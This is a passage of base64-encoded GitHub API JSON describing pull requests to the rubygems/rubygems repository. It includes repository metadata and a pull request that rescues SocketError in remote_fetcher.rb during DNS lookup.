WR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNjYxIn0sImh0bWwiOnsiaHJlZiI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE2NjEifSwiaXNzdWUiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjEifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjEvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzE2NjEvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnQiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0ifSwiY29tbWl0cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNjYxL2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvNDkzODMzNTVhZjhkNzE5ZWIwYzc0ZTVhY2FlZmQxYzhlMDZjNWY4YiJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTY0MSIsImlkIjo3Mzg5MzA5MywiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjQxIiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjQxLmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjQxLnBhdGNoIiwiaXNzdWVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY0MSIsIm51bWJlciI6MTY0MSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwidGl0bGUiOiJSZXNjdWUgb2YgU29ja2V0RXJyb3IgZXJyb3IgaW4gcmVtb3RlX2ZldGNoZXIucmI6YXBpX2VuZHBvaW50IiwidXNlciI6eyJsb2dpbiI6ImJhZGthcGl0YW4iLCJpZCI6MTEwNDQyMTEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzExMDQ0MjExP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYmFka2FwaXRhbiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImJvZHkiOiIjIERlc2NyaXB0aW9uOlxuXG5Tb21ldGltZXMgYSBTb2NrZXRFcnJvciBtaWdodCBvY2N1ciBkdXJpbmcgcnVieSdzIEROUyBsb29rdXAuIFRoaXMgc291bGQgbm90IGNyYXNoIGdlbSBzYW1lIGFzIFJlc29sdkVycm9yIGRvZXMgbm90IGNyYXNoIGl0LlxuXG4tLS1cbiMgVGFza3M6XG4tIFtYXSBEZXNjcmliZSB0aGUgcHJvYmxlbSAvIGZlYXR1cmVcbi0gWyBdIFdyaXRlIHRlc3RzXG4tIFtYXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXG4tIFsgXSBHZXQgY29kZSByZXZpZXcgZnJvbSBjb3dvcmtlcnMgLyBmcmllbmRzXG4tIFtYXSBbU3F1YXNoIGNvbW1pdHNdKGh0dHA6Ly9naXRyZWFkeS5jb20vYWR2YW5jZWQvMjAwOS8wMi8xMC9zcXVhc2hpbmctY29tbWl0cy13aXRoLXJlYmFzZS5odG1sKVxuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxuIiwiY3JlYXRlZF9hdCI6IjIwMTYtMDYtMTVUMTE6MTM6MDFaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMjdUMjE6NTk6MDJaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiJkMGYwMzc5ZDc4ODZmYjdhN2M3ODUxMGRhNTUzODE1MGZjMDkxNGI4IiwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sInJlcXVlc3RlZF9yZXZpZXdlcnMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNjQxL2NvbW1pdHMiLCJyZXZpZXdfY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNjQxL2NvbW1lbnRzIiwicmV2aWV3X2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NDEvY29tbWVudHMiLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL2ZjNDdlM2VmYzQwM2EzYjIzNTBjYTRkZDY2ZTczMzkwOThhMmFhNzQiLCJoZWFkIjp7ImxhYmVsIjoiYmFka2FwaXRhbjptYXN0ZXIiLCJyZWYiOiJtYXN0ZXIiLCJzaGEiOiJmYzQ3ZTNlZmM0MDNhM2IyMzUwY2E0ZGQ2NmU3MzM5MDk4YTJhYTc0IiwidXNlciI6eyJsb2dpbiI6ImJhZGthcGl0YW4iLCJpZCI6MTEwNDQyMTEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzExMDQ0MjExP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYmFka2FwaXRhbiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxMjAxMzcxLCJuYW1lIjoicnVieWdlbXMiLCJmdWxsX25hbWUiOiJiYWRrYXBpdGFuL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJiYWRrYXBpdGFuIiwiaWQiOjExMDQ0MjExLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMTA0NDIxMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2JhZGthcGl0YW4iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYmFka2FwaXRhbi9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2JhZGthcGl0YW4vcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9iYWRrYXBpdGFuL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYmFka2FwaXRhbi9ydWJ5Z2VtcyIsImRlc2NyaXB0aW9uIjoiTGlicmFyeSBwYWNrYWdpbmcgYW5kIGRpc3RyaWJ1dGlvbiBmb3IgUnVieS4iLCJmb3JrIjp0cnVlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9iYWRrYXBpdGFuL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvZ2l0L3JlZnN7L3NoYX0iLCJ0cmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9iYWRrYXBpdGFuL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy9sYW5ndWFnZXMiLCJzdGFyZ2F6ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvc3Vic2NyaWJlcnMiLCJzdWJzY3JpcHRpb25fdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9iYWRrYXBpdGFuL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9iYWRrYXBpdGFuL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvZ2l0L2NvbW1pdHN7L3NoYX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvYmFka2FwaXRhbi9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2JhZGthcGl0YW4vcnVieWdlbXMvY29udGVudHMveytwYXRo